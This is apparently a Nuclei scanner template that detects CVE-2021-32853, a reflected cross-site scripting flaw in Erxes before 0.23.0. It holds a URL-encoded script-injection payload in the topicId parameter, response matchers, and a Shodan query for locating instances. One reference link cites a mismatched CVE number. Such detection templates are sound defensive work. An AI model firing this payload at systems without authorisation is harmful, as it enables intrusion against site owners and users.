52 lines
1.8 KiB
YAML
52 lines
1.8 KiB
YAML
id: CVE-2021-32853
|
|
|
|
info:
|
|
name: Erxes <0.23.0 - Cross-Site Scripting
|
|
author: dwisiswant0
|
|
severity: critical
|
|
description: Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag.
|
|
remediation: |
|
|
Upgrade to Erxes version 0.23.0 or later to mitigate the vulnerability.
|
|
reference:
|
|
- https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-3285
|
|
- https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14
|
|
- https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
|
|
cvss-score: 9.6
|
|
cve-id: CVE-2021-32853
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00585
|
|
epss-percentile: 0.75754
|
|
cpe: cpe:2.3:a:erxes:erxes:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: erxes
|
|
product: erxes
|
|
shodan-query: http.title:"erxes"
|
|
tags: cve,cve2021,xss,erxes,oss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'topic_id: "</script><script>alert(document.domain)</script>'
|
|
- "window.erxesEnv"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100d1c01c44897deaf9f77de2d8fc480c62f7464f04cc7ad2bf50259b0a50e7a983022100c5551dbefee1e35b63a6994cb60f4a6340bd067c9690ffc50790254ce4346407:922c64590222798bb761d5b6d8e72950 |